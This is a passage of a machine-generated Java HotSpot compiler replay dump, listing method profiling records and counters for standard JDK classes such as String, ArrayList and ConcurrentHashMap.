0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 7 1 0 0 105 126 15 1 1 0 0 0 79 82 1 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 16 0 2 0 0 0 0 0 0 0 120 0 0 0 254 255 255 255 5 0 1 0 0 0 0 0 data 25 0x10005 0x21efcd 0x0 0x0 0x0 0x0 0x0 0x8000000600040007 0xc98 0x30 0x21e336 0xc0002 0x21e336 0x150002 0xc98 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 0 methods 0\nciMethodData java/lang/String coder ()B 2 2307124 orig 320 144 166 201 142 252 127 0 0 144 161 123 8 182 1 0 0 168 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 16 1 0 0 33 153 25 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 5 0 2 0 0 0 0 0 0 0 56 0 0 0 254 255 255 255 7 0 3 0 0 0 0 0 data 14 0x30007 0x0 0x38 0x233325 0xa0003 0x233325 0x18 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 0 methods 0\nciMethodData java/lang/String hashCode ()I 2 18924 orig 320 144 166 201 142 252 127 0 0 192 107 123 8 182 1 0 0 80 2 0 0 120 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 29 1 0 0 97 70 2 0 1 0 0 0 55 44 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 1 0 19 0 2 0 0 0 0 0 0 0 208 0 0 0 254 255 255 255 7 0 6 0 0 0 0 0 data 35 0x60007 0x2f8d 0xd0 0x193f 0x80000006000e0007 0x5a 0xb0 0x18e6 0x130005 0x18e6 0x0 0x0 0x0 0x0 0x0 0x8000000600160007 0x20 0x48 0x18c7 0x1d0002 0x18c7 0x200003 0x18c7 0x28 0x270002 0x20 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x4 oops 0 methods 0\nciMethodData java/lang/StringUTF16 hashCode ([B)I 2 12442 orig 320 144 166 201 142 252 127 0 0 8 206 149 8 182 1 0 0 200 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 89 29 0 0 209 132 1 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 1 0 6 0 2 0 0 0 0 0 0 0 72 0 0 0 254 255 255 255 7 0 11 0 0 0 0 0 data 18 0xb0007 0x3ab 0x48 0x309a 0x140002 0x5a6 0x1c0003 0x309a 0xffffffffffffffd0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 0 methods 0\nciMethod java/util/ArrayList <init> ()V 1025 1 261691 0 256\nciMethod java/util/ArrayList <init> (Ljava/util/Collection;)V 2057 1 5399 0 608\nciMethod java/util/ArrayList size ()I 1025 1 128 0 -1\nciMethod java/util/ArrayList isEmpty ()Z 2049 1 41825 0 64\nciMethod java/util/ArrayList get (I)Ljava/lang/Object; 2081 1 52999 0 -1\nciMethod java/util/ArrayList add (Ljava/lang/Object;[Ljava/lang/Object;I)V 2089 1 152220 0 -1\nciMethod java/util/ArrayList add (Ljava/lang/Object;)Z 2089 1 152220 0 1408\nciMethod java/util/ArrayList iterator ()Ljava/util/Iterator; 2073 1 10514 0 192\nciMethodData java/lang/String equals (Ljava/lang/Object;)Z 2 16949 orig 320 144 166 201 142 252 127 0 0 0 94 123 8 182 1 0 0 88 3 0 0 32 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 56 1 0 0 233 7 2 0 1 0 0 0 171 41 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 24 0 2 0 0 0 0 0 0 0 208 1 0 0 254 255 255 255 7 0 2 0 0 0 0 0 data 68 0x20007 0x37dc 0x20 0x921 0x80104 0x0 0x0 0x1b609184e10 0x37b8 0x0 0x0 0xb0007 0x24 0x178 0x37b8 0xf0004 0x0 0x0 0x1b609184e10 0x37b8 0x0 0x0 0x140005 0x37b8 0x0 0x0 0x0 0x0 0x0 0x180005 0x37b8 0x0 0x0 0x0 0x0 0x0 0x80000006001b0007 0x1c 0xb0 0x379d 0x1f0005 0x379d 0x0 0x0 0x0 0x0 0x0 0x8000000600220007 0x1c 0x48 0x3782 0x2d0002 0x3782 0x300003 0x3782 0x28 0x3b0002 0x1c 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 2 7 java/lang/String 18 java/lang/String methods 0\nciMethodData java/util/Objects requireNonNull (Ljava/lang/Object;)Ljava/lang/Object; 2 754209 orig 320 144 166 201 142 252 127 0 0 56 233 140 8 182 1 0 0 176 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 27 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 59 1 0 0 49 7 92 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 5 0 2 0 0 0 0 0 0 0 48 0 0 0 254 255 255 255 7 0 1 0 0 0 0 0 data 15 0x10007 0xb80e5 0x30 0x0 0x80002 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 0 methods 0\nciMethodData java/util/AbstractCollection <init> ()V 2 981545 orig 320 144 166 201 142 252 127 0 0 160 195 140 8 182 1 0 0 112 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 51 1 0 0 177 199 119 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 16 0 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 7 0x10002 0xef8f6 0x0 0x0 0x9 0x1 0x0 oops 0 methods 0\nciMethodData java/util/Objects equals (Ljava/lang/Object;Ljava/lang/Object;)Z 2 61539 orig 320 144 166 201 142 252 127 0 0 32 228 140 8 182 1 0 0 56 2 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 66 1 0 0 9 121 7 0 1 0 0 0 69 36 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 12 0 2 0 0 0 0 0 0 0 176 0 0 0 254 255 255 255 7 0 2 0 0 0 0 0 data 32 0x20007 0x8333 0x98 0x6bee 0x8000000600060007 0x109e 0x90 0x5b51 0xb0005 0x5983 0x0 0x1b619f1e5f0 0xe8 0x1b619f1e6a0 0xcd 0xe0007 0x1b9a 0x38 0x3fb7 0x120003 0xc2ea 0x18 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 2 11 java/lang/module/ModuleDescriptor 13 jdk/internal/module/ModuleReferenceImpl methods 0\nciMethod java/util/Collections$UnmodifiableMap get (Ljava/lang/Object;)Ljava/lang/Object; 2169 1 5514 0 96\nciMethodData java/lang/Character digit (CI)I 2 27762 orig 320 144 166 201 142 252 127 0 0 192 201 137 8 182 1 0 0 152 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 25 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 137 91 3 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 16 0 0 0 254 255 255 255 2 0 2 0 0 0 0 0 data 12 0x20002 0x6b71 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 0 methods 0\nciMethodData java/util/concurrent/ConcurrentHashMap spread (I)I 2 40979 orig 320 144 166 201 142 252 127 0 0 248 44 142 8 182 1 0 0 96 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 36 1 0 0 121 247 4 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 1 0 0 0 0 0 0 0 0 0 0 0 254 255 255 255 0 0 0 0 0 0 0 0 data 5 0x0 0x0 0x9 0x1 0x0 oops 0 methods 0\nciMethod java/util/ArrayList$Itr <init> (Ljava/util/ArrayList;)V 2065 1 25942 0 -1\nciMethod java/util/ArrayList$Itr hasNext ()Z 2065 1 10751 0 96\nciMethod java/util/ArrayList$Itr next ()Ljava/lang/Object; 2049 1 5508 0 256\nciMethod java/util/ArrayList$Itr checkForComodification ()V 2049 1 15267 0 -1\nciMethodData java/lang/String length ()I 2 1913456 orig 320 144 166 201 142 252 127 0 0 32 83 123 8 182 1 0 0 184 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 131 1 0 0 105 135 233 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 6 0 2 0 0 0 0 0 0 0 56 0 0 0 254 255 255 255 5 0 6 0 0 0 0 0 data 16 0x60005 0x1d30ed 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 0 methods 0\nciMethod java/util/Collections$UnmodifiableCollection <init> (Ljava/util/Collection;)V 1585 1 10563 0 288\nciMethodData java/util/concurrent/ConcurrentHashMap get (Ljava/lang/Object;)Ljava/lang/Object; 2 19844 orig 320 144 166 201 142 252 127 0 0 24 58 142 8 182 1 0 0 96 4 0 0 184 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 33 100 2 0 41 24 0 0 13 49 0 0 133 2 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 1 0 36 0 2 0 0 0 0 0 0 0 216 2 0 0 254 255 255 255 5 0 1 0 0 0 0 0 data 101 0x10005 0x1b01 0x0 0x1b609184e10 0x274b 0x1b61519d330 0xa38 0x40002 0x4c84 0xf0007 0x2a5 0x290 0x49df 0x170007 0x0 0x270 0x49df 0x220002 0x49df 0x270007 0x13f2 0x240 0x35ed 0x330007 0x12ea 0xb8 0x2303 0x3e0007 0xfef 0x98 0x1314 0x430007 0x0 0x108 0x1314 0x490005 0x514 0x0 0x1b609184e10 0x8a2 0x1b61519d330 0x55e 0x80000006004c0007 0x19 0xb0 0x12fc 0x560007 0x12ea 0x90 0x0 0x5d0005 0x0 0x0 0x0 0x0 0x0 0x0 0x630007 0x0 0x38 0x0 0x6b0003 0x0 0x18 0x760007 0xb98 0xd8 0xa70 0x7f0007 0x2f7 0xffffffffffffffe0 0x779 0x8a0007 0x274 0x98 0x505 0x8f0007 0x0 0xffffffffffffffa0 0x505 0x950005 0x105 0x0 0x1b609184e10 0x21e 0x1b61519d330 0x1e2 0x8000000600980007 0xe 0xffffffffffffff48 0x4f8 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 6 3 java/lang/String 5 java/lang/invoke/MethodType$ConcurrentWeakInternSet$WeakEntry 38 java/lang/String 40 java/lang/invoke/MethodType$ConcurrentWeakInternSet$WeakEntry 83 java/lang/String 85 java/lang/invoke/MethodType$ConcurrentWeakInternSet$WeakEntry methods 0\nciMethod java/util/TreeMap get (Ljava/lang/Object;)Ljava/lang/Object; 137 1 337 0 0\nciMethod java/util/TreeMap getEntry (Ljava/lang/Object;)Ljava/util/TreeMap$Entry; 137 1 382 0 -1\nciMethodData java/lang/String startsWith (Ljava/lang/String;I)Z 2 20856 orig 320 144 166 201 142 252 127 0 0 96 105 123 8 182 1 0 0 64 4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 33 1 0 0 57 132 1 0 185 130 2 0 25 21 0 0 7 51 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 2 0 50 0 2 0 0 0 0 0 0 0 176 2 0 0 254 255 255 255 7 0 1 0 6 0 0 128 data 97 0x8000000600010007 0xa 0xb0 0x307e 0x60005 0x307e 0x0 0x0 0x0 0x0 0x0 0xa0005 0x307e 0x0 0x0 0x0 0x0 0x0 0xe0007 0x305c 0x20 0x22 0x270005 0x305c 0x0 0x0 0x0 0x0 0x0 0x2b0005 0x305c 0x0 0x0 0x0 0x0 0x0 0x2e0007 0x7 0xe8 0x3055 0x320005 0x3055 0x0 0x0 0x0 0x0 0x0 0x350007 0x0 0x38 0x3055 0x390003 0x3055 0x18 0x450007 0x89a 0x40 0x7812 0x570007 0x5057 0xffffffffffffffe0 0x27bb 0x5c0003 0x89a 0xc0 0x600005 0x7 0x0 0x0 0x0 0x0 0x0 0x630007 0x7 0x20 0x0 0x6c0007 0x0 0x50 0x7 0x740002 0x0 0x830007 0x0 0xffffffffffffffd0 0x7 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x3 0x0 0x0 0x0 oops 0 methods 0\nciMethodData java/lang/String regionMatches (ZILjava/lang/String;II)Z 2 11655 orig 320 144 166 201 142 252 127 0 0 200 103 123 8 182 1 0 0 160 4 0 0 120 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 7 1 0 0 1 100 1 0 1 0 0 0 67 20 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 46 0 2 0 0 0 0 0 0 0 248 2 0 0 254 255 255 255 7 0 1 0 0 0 0 0 data 109 0x10007 0x2c80 0x58 0x0 0xb0005 0x0 0x0 0x0 0x0 0x0 0x0 0x110007 0x0 0xf0 0x2c80 0x8000000600150007 0x43 0xd0 0x2c3e 0x1b0005 0x2c3e 0x0 0x0 0x0 0x0 0x0 0x240007 0x447 0x78 0x27f7 0x2b0005 0x27f7 0x0 0x0 0x0 0x0 0x0 0x340007 0x27f7 0x20 0x0 0x460005 0x27f7 0x0 0x0 0x0 0x0 0x0 0x4a0005 0x27f7 0x0 0x0 0x0 0x0 0x0 0x4d0007 0x0 0xb0 0x27f7 0x510005 0x27f7 0x0 0x0 0x0 0x0 0x0 0x540007 0x0 0x48 0x27f7 0x600002 0x27f7 0x630003 0x27f7 0x28 0x6f0002 0x0 0x740005 0x0 0x0 0x0 0x0 0x0 0x0 0x770007 0x0 0x48 0x0 0x830002 0x0 0x860003 0x0 0x28 0x920002 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x6 0xffffffffffffffff 0x0 0x0 0xffffffffffffffff 0x0 0x0 oops 0 methods 0\nciMethodData java/lang/String equalsIgnoreCase (Ljava/lang/String;)Z 2 5758 orig 320 144 166 201 142 252 127 0 0 136 98 123 8 182 1 0 0 24 3 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 100 1 0 0 209 168 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 25 0 2 0 0 0 0 0 0 0 144 1 0 0 254 255 255 255 7 0 2 0 0 0 0 0 data 60 0x20007 0x13c9 0x38 0x151 0x60003 0x151 0x170 0xa0007 0x872 0x158 0xb57 0xe0005 0xb57 0x0 0x0 0x0 0x0 0x0 0x120005 0xb57 0x0 0x0 0x0 0x0 0x0 0x150007 0x2a6 0xc8 0x8b1 0x1e0005 0x8b1 0x0 0x0 0x0 0x0 0x0 0x210005 0x8b1 0x0 0x0 0x0 0x0 0x0 0x240007 0x28 0x38 0x889 0x280003 0x889 0x18 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0xffffffffffffffff 0xffffffffffffffff oops 0 methods 0\nciMethodData java/lang/String startsWith (Ljava/lang/String;)Z 2 161022 orig 320 144 166 201 142 252 127 0 0 24 106 123 8 182 1 0 0 192 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 33 1 0 0 233 158 19 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 56 0 0 0 254 255 255 255 5 0 3 0 0 0 0 0 data 17 0x30005 0x273dd 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x2 0x0 0x0 oops 0 methods 0\nciMethodData java/util/Objects requireNonNull 